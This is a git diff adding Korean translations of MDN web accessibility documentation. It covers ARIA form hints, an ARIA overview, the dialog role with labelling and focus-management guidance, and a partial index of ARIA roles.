+ <li>AT에 폼을 완료하기 위한 필수요소임을 알리기 위해<strong> <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required">aria-required</a></strong> 속성을 폼에 적용할 수 있습니다. </li>
+ <li>데이터 필드에 올바르지 않은 데이터가 있는 것을 AT에 알리기 위해<strong> <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid">aria-invalid</a></strong> 상태를 적용하는 것으로 사용자는 올바르지 않은 데이터를 입력했다는 것을 알 수 있습니다. </li>
+</ul>
+
+<p>아래의 예제는 세 개의 필드가 있는 간단한 폼을 보여줍니다. 4행과 12행에서는 <code>aria-required</code> 속성이 true(레이블 옆에 별표와 함께)로 설정되어 name과 email 필드가 필수임을 나타냅니다. 두 번째 예제는 email 형식을 검증하고 그 결과에 따라서 email 필드(HTML 12행)의 (요소를 시각적으로 변경하는 것과 함께) <code>aria-invalid</code> 속성을 설정하는 Javascript 스니펫입니다. </p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="name"&gt;* Name:&lt;/label&gt;
+    &lt;input type="text" value="name" id="name" aria-required="true"/&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="phone"&gt;Phone:&lt;/label&gt;
+    &lt;input type="text" value="phone" id="phone" aria-required="false"/&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="email"&gt;* E-mail:&lt;/label&gt;
+    &lt;input type="text" value="email" id="email" aria-required="true"/&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>폼 항목의 유효성을 검사하는 스크립트는 다음과 같습니다. </p>
+
+<pre class="brush: js">var validate = function () {
+  var emailElement = document.getElementById(emailFieldId);
+  var valid = emailValid(formData.email); // returns true if valid, false otherwise
+
+  emailElement.setAttribute("aria-invalid", !valid);
+  setElementBorderColour(emailElement, valid); // sets the border to red if second arg is false
+};
+</pre>
+
+<h2 id="Providing_Helpful_Error_Messages" name="Providing_Helpful_Error_Messages">유용한 오류 메시지 제공</h2>
+
+<p><a href="/en-US/docs/aria/forms/alerts" title="aria/forms/alerts">ARIA alerts to enhance forms</a> 사용법을 읽으세요.</p>
+
+<p>폼 접근성을위한 ARIA 사용에 대한 자세한 지침은 <a href="http://www.w3.org/TR/wai-aria-practices/" title="http://www.w3.org/TR/wai-aria-practices/">WAI-ARIA Authoring Practices</a> 문서를 참조하세요. </p>
diff --git a/files/ko/web/accessibility/aria/forms/index.html b/files/ko/web/accessibility/aria/forms/index.html
new file mode 100644
index 0000000000..a9028b2416
--- /dev/null
+++ b/files/ko/web/accessibility/aria/forms/index.html
@@ -0,0 +1,17 @@
+---
+title: Forms
+slug: Web/Accessibility/ARIA/forms
+tags:
+  - ARIA
+  - 접근성
+translation_of: Web/Accessibility/ARIA/forms
+---
+<p>아래의 페이지에서는 Web Form의 접근성을 향상시키는 여러 가지 테크닉을 소개합니다. </p>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/Basic_form_hints" title="Basic form hints">Basic form hints</a>: 무효 값 혹은 필수 필드에 힌트나 설명을 추가합니다. </li>
+ <li><a href="/en/Accessibility/ARIA/forms/alerts" title="alerts">Alerts</a>: 클라이언트 측의 검증에서 발생한 에러 메시지를 표시하기 위해 alert를 사용합니다. </li>
+ <li><a href="/en/Accessibility/ARIA/forms/Multipart_labels" title="https://developer.mozilla.org/en/aria/forms/Multipart_labels">Multi-part labels</a>: 각 폼 안의 컨트롤로 복잡한 폼 레이블을 사용합니다.</li>
+</ul>
+
+<p>유사한 콘텐츠를 다루고 있는 <a class="external" href="https://web.archive.org/web/20120801225355/http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html" title="http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html">Yahoo! article on form validation and ARIA</a> 도 봐주세요.</p>
diff --git a/files/ko/web/accessibility/aria/index.html b/files/ko/web/accessibility/aria/index.html
new file mode 100644
index 0000000000..c1c77f78f4
--- /dev/null
+++ b/files/ko/web/accessibility/aria/index.html
@@ -0,0 +1,131 @@
+---
+title: ARIA
+slug: Web/Accessibility/ARIA
+tags:
+  - ARIA
+  - Accessibility
+  - HTML
+  - 웹 접근성
+  - 접근성
+translation_of: Web/Accessibility/ARIA
+---
+<p><strong>접근가능한 리치 인터넷 어플리케이션</strong>(Accessible Rich Internet Applications, <strong>ARIA</strong>)은 장애를 가진 사용자가 웹 콘텐츠와 웹 어플리케이션(특히 JavaScript를 사용하여 개발한 경우)에 더 쉽게 접근할 수 있는 방법을 정의하는 여러 특성을 말합니다.</p>
+
+<p>ARIA는 HTML을 보충해, 일반적으로 보조 기술이 알 수 없는 상호작용 및 흔히 쓰이는 어플리케이션 위젯에 필요한 정보를 제공합니다. 예를 들어 ARIA는 HTML4에서의 탐색 랜드마크, JavaScript 위젯, 폼 힌트 및 오류 메시지, 실시간 콘텐츠 업데이트 등을 접근 가능한 형태로 제공합니다.</p>
+
+<div class="blockIndicator warning">
+<p>여기 등장하는 많은 위젯은 나중에 HTML5로 통합됐으므로, 구현하려는 기능을 가진 요소가 존재한다면 <strong>개발자는 되도록 의미를 가진 HTML을 ARIA보다 선호해야 합니다</strong>. 몇 가지 예시로, 네이티브 요소는 키보드 접근성, 역할, 상태를 내장하고 있습니다. 그러나 ARIA를 쓰기로 결정했다면 브라우저 동작 방식을 따라 하는 건 개발자의 책임입니다.</p>
+</div>
+
+<p>다음은 진행 표시줄 위젯의 마크업입니다.</p>
+
+<pre class="brush: html">&lt;div id="percent-loaded" role="progressbar" aria-valuenow="75"
+     aria-valuemin="0" aria-valuemax="100"&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<p>This progress bar is built using a <code>&lt;div&gt;</code>, which has no meaning. Unfortunately, there isn't a more semantic tag available to developers in HTML 4, so we need to include ARIA roles and properties. These are specified by adding attributes to the element. In this example, the <code>role="progressbar"</code> attribute informs the browser that this element is actually a JavaScript-powered progress bar widget. The <code>aria-valuemin</code> and <code>aria-valuemax</code> attributes specify the minimum and maximum values for the progress bar, and the <code>aria-valuenow</code> describes the current state of it and therefore must be kept updated with JavaScript.</p>
+
+<p>Along with placing them directly in the markup, ARIA attributes can be added to the element and updated dynamically using JavaScript code like this:</p>
+
+<pre class="brush: js"><code>// Find the progress bar &lt;div&gt; in the DOM.
+ var progressBar = document.getElementById("percent-loaded");</code>
+
+<code>// Set its ARIA roles and states,
+// so that assistive technologies know what kind of widget it is.</code>
+ progressBar.setAttribute("role", "progressbar");
+ progressBar.setAttribute("aria-valuemin", 0);
+ progressBar.setAttribute("aria-valuemax", 100);
+
+// Create a function that can be called at any time to update
+// the value of the progress bar.
+ function updateProgress(percentComplete) {
+   progressBar.setAttribute("aria-valuenow", percentComplete);
+ }</pre>
+
+<div class="note">
+<p>Note that ARIA was invented after HTML4, so does not validate in HTML4 or its XHTML variants. However, the accessibility gains it provides far outweigh any technical invalidity.</p>
+
+<p>In HTML5, all ARIA attributes validate. The new landmark elements (<code>&lt;main&gt;</code>, <code>&lt;header&gt;</code>, <code>&lt;nav&gt;</code> etc) have built-in ARIA roles, so there is no need to duplicate them.</p>
+</div>
+</div>
+
+<h2 id="지원">지원</h2>
+
+<p>다른 웹 기술과 마찬가지로, ARIA 역시 환경 별 지원 수준에 차이를 보입니다. 지원 수준은 사용자의 운영 체제 및 사용하는 브라우저, 그리고 연결된 보조 기술마다 다릅니다. 게다가 각각의 버전 또한 영향을 줍니다. 오래된 소프트웨어 버전은 특정 ARIA 역할을 지원하지 않거나, 부분적으로만 지원하거나, 잘못된 기능을 가지고 있을 수 있습니다.</p>
+
+<p>또 다른 중요한 점은, 보조 기술에 의존하는 사용자 일부가 컴퓨터 및 브라우저 상호작용 기능을 잃어버릴까 두려워 소프트웨어 업그레이드를 주저할 수 있다는 점을 인지하는 것입니다. 그러므로 가능한 한 보조 기술이 훨씬 넓게 지원하는, <a href="/ko/docs/Learn/Accessibility/HTML">의미를 가진 HTML 요소</a>를 사용하는 편이 좋습니다.</p>
+
+<p>마지막으로 작성한 ARIA을 실제 보조 기술로 시험하는 것도 필요합니다. 브라우저 에뮬레이터와 시뮬레이터가 전체 테스트에 효율적인 도구가 아니듯, 유사 보조 기술만으로는 완벽한 지원을 장담하기엔 부족합니다.</p>
+
+<section id="sect1">
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="자습서">자습서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets">ARIA 소개</a></dt>
+ <dd>동적인 컨텐츠를 ARIA를 적용해 접근성을 갖추도록 하는 방법에 대한 소개한 글입니다. Gez Lemon이 2008년에 쓴 ARIA 분야의 고전인 <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro</a>도 참조하십시오.</dd>
+ <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">스크린 리더기에서 ARIA를 어떻게 사용하는지에 대한 영상</a></dt>
+ <dd>ARIA "적용 전", "적용 후" 영상을 비롯하여, 웹에서 볼 수 있는 실제 사용 예제들과 그것보다 간략화된 예시들을 볼 수 있습니다.</dd>
+ <dt><a class="external" href="https://w3c.github.io/using-aria/">ARIA 사용하기</a></dt>
+ <dd>개발자를 위한 실용 가이드를 제공하는 글입니다. HTML 요소에 어떤 ARIA 속성들을 써야 하는지에 대해 제안하는 내용을 담고 있습니다. 제안은 실제 구현 상황을 바탕으로 합니다.</dd>
+</dl>
+
+<h2 id="간단한_ARIA_향상">간단한 ARIA 향상</h2>
+
+<dl>
+ <dt><a class="external" href="https://www.paciellogroup.com/blog/2013/02/using-wai-aria-landmarks-2013/">ARIA 랜드마크를 사용하여 페이지 탐색 고도화</a></dt>
+ <dd>스크린 리더 사용자들을 위해 ARIA 랜드마크를 사용하여 웹 페이지의 탐색 기능을 향상시키는 법을 소개해주는 좋은 글입니다. <a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">이와 더불어서 ARIA 구현 노트</a> 및 실제 사이트에서의 활용 예시들을 참고하세요. (2011년 7월에 업데이트됨)</dd>
+ <dt><a href="/ko/docs/ARIA/forms">폼 접근성 향상하기</a></dt>
+ <dd>ARIA는 동적 콘텐츠만을 위한 것이 아닙니다! ARIA 특성을 사용해 HTML 폼의 접근성을 높이는 방법을 알아보세요.</dd>
+</dl>
+
+<h2 id="스크립트_처리된_위젯을_위한_ARIA">스크립트 처리된 위젯을 위한 ARIA</h2>
+
+<dl>
+ <dt><a class="external" href="/ko/docs/Web/Accessibility/Keyboard-navigable_JavaScript_widgets">JavaScript 위젯에 키보드 탐색 및 초점 적용하기</a></dt>
+ <dd>{{htmlelement("input")}}, {{htmlelement("button")}} 등 내장 요소는 기본적으로 키보드를 지원합니다. {{htmlelement("div")}}와 ARIA로 특정 요소를 흉내 낸다면, 그 위젯도 키보드를 지원하도록 해야 합니다.</dd>
+ <dt><a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">실시간 영역</a></dt>
+ <dd>실시간 영역은 페이지 콘텐츠에 가해지는 변경점을 접근성 보조 기술이 어떻게 처리해야 하는지 제안합니다.</dd>
+ <dt><a class="external" href="https://www.freedomscientific.com/SurfsUp/AriaLiveRegions.htm">ARIA 실시간 영역으로 콘텐츠 변경 알리기</a></dt>
+ <dd>JAWS 스크린 리더 소프트웨어의 개발진이 실시간 영역에 대해 요약한 글입니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="표준화를_위한_노고">표준화를 위한 노고</h2>
+
+<dl>
+ <dt><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA 명세</a></dt>
+ <dd>W3C 명세입니다.</dd>
+ <dt><a class="external" href="https://www.w3.org/TR/wai-aria-practices-1.1/">WAI-ARIA 작성 안내서</a></dt>
+ <dd>
+ <p>흔히 쓰이는 위젯을 ARIA스럽게 만드는 방법에 대한 공식 안내서로, 훌륭한 자원입니다.</p>
+ </dd>
+</dl>
+
+<h2 id="비디오">비디오</h2>
+
+<p>다음 발표 비디오는 ARIA를 이해할 수 있는 훌륭한 방법입니다.</p>
+
+<p><a href="https://www.youtube.com/watch?v=qdB8SRhqvFc">ARIA, Accessibility APIs and coding like you give a damn! – Léonie Watson</a></p>
+
+<h2 id="버그_제출">버그 제출</h2>
+
+<p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">브라우저, 스크린 리더, JavaScript 라이브러리의 ARIA 버그 제출하기</a></p>
+</div>
+</div>
+</section>
+
+<h2 id="Related_Topics" name="Related_Topics">관련 주제</h2>
+
+<p>{{glossary("Accessibility", "접근성")}}, {{glossary("AJAX")}}, <a href="/ko/docs/JavaScript">JavaScript</a></p>
+
+<section id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/Guide">웹 개발</a></li>
+ <li><a href="/ko/docs/Mozilla/Accessibility">접근성과 Mozilla</a></li>
+</ol>
+</section>
diff --git a/files/ko/web/accessibility/aria/roles/dialog_role/index.html b/files/ko/web/accessibility/aria/roles/dialog_role/index.html
new file mode 100644
index 0000000000..90fc507652
--- /dev/null
+++ b/files/ko/web/accessibility/aria/roles/dialog_role/index.html
@@ -0,0 +1,158 @@
+---
+title: 'ARIA: dialog role'
+slug: Web/Accessibility/ARIA/Roles/dialog_role
+tags:
+  - ARIA
+  - Web Development
+  - 접근성
+translation_of: Web/Accessibility/ARIA/Roles/dialog_role
+---
+<p>{{draft()}}</p>
+
+<p>\{{ariaref}}</p>
+
+<p><span class="seoSummary"><code><a class="external" href="http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#dialog" title="http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#alertdialog">dialog</a></code> 역할(role)은 HTML 기반의 애플리케이션의 다이얼로그 또는 콘텐츠를 분리하는 창 또는 다른 웹 애플리케이션의 UI 혹은 페이지를 마크업하는데 사용됩니다. 다이얼로그는 일반적으로 오버레이를 사용하여 페이지 위에 표시됩니다. 다이얼로그는 비모달(non-modal) (열린 이후에도 다이얼로그 바깥의 콘텐츠와 상호작용할 수 있습니다) 또는 모달(오로지 다이얼로그 콘텐츠와 상호작용할 수 있습니다) 형태일 수 있습니다.</span></p>
+
+<pre class="brush: html">&lt;div <strong>role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"</strong>&gt;
+  &lt;h2 <strong>id="dialog1Title"</strong>&gt;귀하의 개인정보가 성공적으로 갱신되었습니다.&lt;/h2&gt;
+  &lt;p <strong>id="dialog1Desc"</strong>&gt;
+    &lt;a href="/account"&gt;개인정보 관리&lt;/a&gt; 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  &lt;/p&gt;
+  &lt;button&gt;닫기&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>다이얼로그 요소를 마크업하는 것은 보조 기술(Assistive Technology)이 다이얼로그의 콘텐츠가 그룹하 되어 페이지의 나머지 콘텐츠와 분리됨을 식별하는 것을 돕습니다. 하지만, 단순히 <code>role="dialog"</code>를 추가하는 것으로 다이얼로그의 접근성을 높이지 못합니다. 추가적으로 다음 항목들이 충족되어야 합니다:</p>
+
+<ul>
+ <li>다이얼로그의 레이블이 올바르게 지정되어야 합니다.</li>
+ <li>키보드 포커스가 올바르게 관리되어야 합니다.</li>
+</ul>
+
+<p>아래 섹션들은 이 두가지 요구 사항을 어떻게 만족시킬 수 있을지 설명합니다.</p>
+
+<h4 id="레이블링">레이블링</h4>
+
+<p>다이얼로그 요소 자체가 포커스를 가질 필요는 없지만, 여전히 레이블링을 할 필요가 있습니다. 다이얼로그에 주어진 레이블은 다이얼로그 내 상호작용 가능한 컨트롤들에 contextual information를 제공합니다. 예를 들어, 다이얼로그의 레이블은 내부의 컨트롤들의 레이블의 그롭화된 레이블처럼 작동합니다. (<code>&lt;legend&gt;</code> 요소가 내부의 <code>&lt;fieldset&gt;</code> 요소에 그룹화된 레이블을 제공하는 것과 비슷합니다)</p>
+
+<p>만약 다이얼로그가 이미 눈에 보이는 타이틀바를 가지고 있다면, 그 안속의 텍스트는 다이얼로그를 레이블하는데 사용될 수 있습니다. 이를 이루기 위해 <code>role="dialog"</code> 속성을 가진 요소에 <code>aria-labelledby</code> 속성을 사용합니다. 또한, 만약 다이얼로그에 제목 외의 추가적인 설명 텍스트가 있다면, 그 텍스트는 <code>aria-describedby</code> 속성을 사용하여 다이얼로그에 관련되게 만들 수 있습니다. 이러한 방법은 아래 코드를 통해 확인하실 수 있습니다:</p>
+
+<pre class="brush: html">&lt;div <strong>role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"</strong>&gt;
+  &lt;h2 <strong>id="dialog1Title"</strong>&gt;귀하의 개인정보가 성공적으로 갱신되었습니다.&lt;/h2&gt;
+  &lt;p <strong>id="dialog1Desc"</strong>&gt;
+    &lt;a href="/account"&gt;개인정보 관리&lt;/a&gt; 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  &lt;/p&gt;
+  &lt;button&gt;닫기&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p> </p>
+
+<div class="note">비가상 모드에서 작동하는 스크린 판독기에 의해 인지되기 위해서는 다이얼로그 제목과 설명 텍스트가 포커스가 가능하지 않아야 한다는 점을 유의하십시오. ARIA 다이얼로그 역할과 레이블링 기술은 다이얼로그로 포커스가 이동하였을 때 스크린 판독기가 다이얼로그의 정보를 인지할 수 있도록 합니다.</div>
+
+<h4 id="Focus_management_포커스_관리">Focus management 포커스 관리</h4>
+
+<p>다이얼로그는 키보드 포커스를 관리하는 방법에 대한 특별한 요구 사항이 있습니다.</p>
+
+<ul>
+ <li>다이얼로그는 최소한 한 개 이상의 포커스 가능한 컨트롤이 있어야 합니다. 대부분의 다이얼로그는 "닫기", "확인" 또는 "취소"와 같은 버튼들이 존재합니다. 더 나아가 폼 또는 탭 같은 위젯 컨테이너 등 얼마든지 포커스 가능한 요소들을 가질 수 있습니다.</li>
+ <li>다이얼로그가 화면에 나타났을 때, 다이얼로그 안의 기본 포커스 가능한 컨트롤로 키보드 포커스를 이동시켜야 합니다. 예를 들어 간단한 메시지만을 제공하는 다이얼로그라면 "확인" 버튼이, 폼을 제공하는 다이얼로그의 경우는 폼의 첫 번째 필드가 기본으로 포커스 될 것입니다.</li>
+ <li>다이얼로그가 닫힌 이후, 키보드 포커스는 다이얼로그를 열기 전에 있었던 곳으로 다시 이동해야 합니다. 그렇지 않으면 포커스가 페이지의 첫 번째 부분으로 초기화될 수 있습니다.</li>
+ <li>대부분의 다이얼로그는 탭 순서가 <em>감싸지길</em> 기대합니다. 이는 사용자가 다이얼로그 안의 마지막 포커스 가능한 요소에 도달했을 때, 탭을 누르면 첫 번째 포커스 가능한 요소로 포커스가 이동하길 원합니다. 즉, 탭 순서는 다이얼로그 안에 갇혀 있어야 합니다. (<em>역자 : "Focus Trap"으로 관련 자료들을 열람하실 수 있습니다</em>)</li>
+ <li>만약 다이얼로그가 움직이거나 크기가 변경될 수 있는 경우, 마우스를 사용하는 사용자가 수행하는 동작을 키보드를 사용하는 사용자도 거의 비슷하게 조작할 수 있도록 보장하십시오. 비슷하게, 만약 다이얼로그가 툴바 또는 context menus 처럼 특별한 기능을 제공하는 경우, 이들 또한 키보드 사용자에 의해서도 접근 가능하고 조작이 가능해야 합니다.</li>
+ <li>다이얼로그는 모달 또는 비모달일 수 있습니다. 만약 모달 다이얼로그가 화면에 나타나면, 다이얼로그 밖의 페이지 콘텐츠들과 상호작용하는 것은 불가능합니다. 다른 말로, 모달 다이얼로그가 나타나 있는한 메인 애플리케이션의 UI 또는 페이지 콘텐츠는 일시적으로 비활성화 상태여야 합니다. 비모달 다이얼로그는 열러 있는 동안에도 다이얼로그 바깥의 콘텐츠들과 상호작용이 가능합니다. 비모달 다이얼로그를 위해서 열려 있는 다이얼로그와 메인 페이지간에 포커스를 이동시킬 수 있는 전역 키보드 단축키가 필요하다는 점을 유의하십시오.</li>
+</ul>
+
+<p> </p>
+
+<h3 class="highlight-spanned" id="관련된_ARIA_역할_상태_및_속성"><span class="highlight-span">관련된 ARIA 역할, 상태 및 속성</span></h3>
+
+<dl>
+ <dt><code><span class="highlight-span">aria-labelledby</span></code></dt>
+ <dd><span class="highlight-span">다이얼로그에 label을 하려면 이 속성을 사용하십시오. 보통, 다이얼로그의 제목 요소의 id값이 aria-labelledby 속성의 값이 됩니다.</span></dd>
+ <dt><code>aria-describedby</code></dt>
+ <dd>다이얼로그의 콘텐츠를 묘사하기 위해 이 속성을 사용하십시오.</dd>
+</dl>
+
+<h3 id="Possible_effects_on_user_agents_and_assistive_technology">Possible effects on user agents and assistive technology </h3>
+
+<p>When the <code>dialog</code> role is used, the user agent should do the following:</p>
+
+<ul>
+ <li>Expose the element as a dialog in the operating system's accessibility API.</li>
+</ul>
+
+<p>When the dialog is correctly labeled and focus is moved to a control inside the dialog, screen readers should announce the dialog's accessible role, name and optionally description before announcing the focused element. </p>
+
+<div class="note"><strong>Note:</strong> Opinions may differ on how assistive technology should handle this technique. The information provided above is one of those opinions and therefore not normative.</div>
+
+<h3 id="예제">예제</h3>
+
+<h4 id="예제_1_폼을_포함하는_다이얼로그">예제 1: 폼을 포함하는 다이얼로그</h4>
+
+<pre class="brush: html"> &lt;div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"&gt;
+   &lt;h2 id="dialog1Title"&gt;구독하기&lt;/h2&gt;
+   &lt;p id="dialog1Desc"&gt;우리는 이 정보를 제 3자에게 제공하지 않습니다.&lt;/p&gt;
+   &lt;form&gt;
+     &lt;p&gt;
+       &lt;label for="firstName"&gt;이름&lt;/label&gt;
+       &lt;input id="firstName" type="text" /&gt;
+     &lt;/p&gt;
+     &lt;p&gt;
+       &lt;label for="lastName"&gt;성&lt;/label&gt;
+       &lt;input id="lastName" type="text"/&gt;
+     &lt;/p&gt;
+     &lt;p&gt;
+       &lt;label for="interests"&gt;관심분야&lt;/label&gt;
+       &lt;textarea id="interests"&gt;&lt;/textarea&gt;
+     &lt;/p&gt;
+     &lt;p&gt;
+         &lt;input type="submit" value="정보 저장하기"/&gt;
+     &lt;/p&gt;
+   &lt;/form&gt;
+ &lt;/div&gt;</pre>
+
+<h4 id="Example_2_A_dialog_based_on_a_Fieldset_as_fallback_content">Example 2: A dialog based on a Fieldset as fallback content</h4>
+
+<p>To support browsers or AT products that do not support ARIA mark up, it's also possible to use apply the dialog markup to a fieldset element as fallback content. This way the dialog title will still be announced correctly:</p>
+
+<pre class="brush: html"><strong>&lt;fieldset role="dialog"</strong> aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"&gt;
+  <strong>&lt;legend&gt;</strong>
+    &lt;span id="dialog1Title"&gt;Your personal details were successfully updated.&lt;/span&gt;
+    &lt;span id="dialog1Desc"&gt;You can change your details at any time in the user account section.&lt;/span&gt;
+  &lt;/legend&gt;
+
+  &lt;button&gt;Close&lt;/button&gt;
+&lt;/fieldset&gt;</pre>
+
+<h4 id="작업된_예제">작업된 예제:</h4>
+
+<ul>
+ <li><a class="external" href="http://jqueryui.com/demos/dialog/" title="http://jqueryui.com/demos/dialog/">jQuery-UI Dialog</a></li>
+</ul>
+
+<h3 id="Notes">Notes </h3>
+
+<div class="note"><strong>Note:</strong> While it is possible to prevent keyboard users from moving focus to elements outside of the dialog, screen reader users may still be able to navigate that content virtually to use their screen reader's virtual cursor. Because of this, dialogs are considered to be a special case of the application role: They are expected to be navigated by screen reader users in a non-virtual navigation mode.</div>
+
+<h3 id="사용되는_ARIA_속성">사용되는 ARIA 속성</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/roles#dialog" title="http://www.w3.org/TR/wai-aria/roles#dialog">dialog</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby">aria-labelledby</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties#aria-describedby" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-describedby">aria-describedby</a></li>
+</ul>
+
+<h3 id="관련된_ARIA_기술">관련된 ARIA 기술 </h3>
+
+<ul>
+ <li><a href="/en/ARIA/ARIA_Techniques/Using_the_alertdialog_role" title="Using the alertdialog role">Using the alertdialog role</a></li>
+</ul>
+
+<h3 id="Compatibility">Compatibility</h3>
+
+<p class="comment">TBD: Add support information for common UA and AT product combinations</p>
+
+<h3 id="Additional_resources">Additional resources</h3>
+
+<p> </p>
diff --git a/files/ko/web/accessibility/aria/roles/index.html b/files/ko/web/accessibility/aria/roles/index.html
new file mode 100644
index 0000000000..3b92115b59
--- /dev/null
+++ b/files/ko/web/accessibility/aria/roles/index.html
@@ -0,0 +1,78 @@
+---
+title: WAI-ARIA Roles
+slug: Web/Accessibility/ARIA/Roles
+tags:
+  - ARIA
+  - Accessibility
+  - NeedsTranslation
+  - Rôles
+  - TopicStub
+translation_of: Web/Accessibility/ARIA/Roles
+---
+<p class="summary">This page lists reference pages covering all the WAI-ARIA roles discussed on MDN. For a full list of roles, see <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques">Using ARIA: Roles, States, and Properties</a></p>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<div class="hidden">
+<p>Please claim the role you want to work on by adding your name after the role's name: (old pages are linked from <a href="/en-US/docs/">https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques</a>). Ones for which the first draft is completed have been removed from the below list.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Alertdialog_Role">alertdialog</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Banner_Role">banner</a> </li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Combobox_Role">Combobox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Command_Role">Command</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Columnheader_Role">Columnheader </a>(Estelle)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Complementary_role">complementary</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Composite_Role">composite</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Definition_Role">Definition</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Directory_Role">Directory</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Feed_Role">Feed</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">Gridcell</a> (Eric E)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Group_Role">Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Input_Role">input</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Landmark_Role">landmark</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Link_Role">Link</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Listbox_Role">listbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Log_Role">Log</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Marquee_Role">Marquee</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Math_Role">math</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menu_Role">menu</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menubar_Role">menubar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuiitem_Role">Menuitem</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemcheckbox_Role">Menuitemcheckbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemradio_Role">Menuitemradio</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/None_Role">none</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Note_Role">note</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Option_Role">Option</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Presentation_Role">presentation</a> </li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Progressbar_Role">Progressbar</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Radio_Role">Radio</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Radiogroup_Role">radiogroup</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Range_Role">range</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Region_Role">region</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Roletype_Role">roletype</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Rowheader_Role">rowheader</a>(Estelle)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Scrollbar_Role">Scrollbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Searchbox_Role">searchbox</a></li>
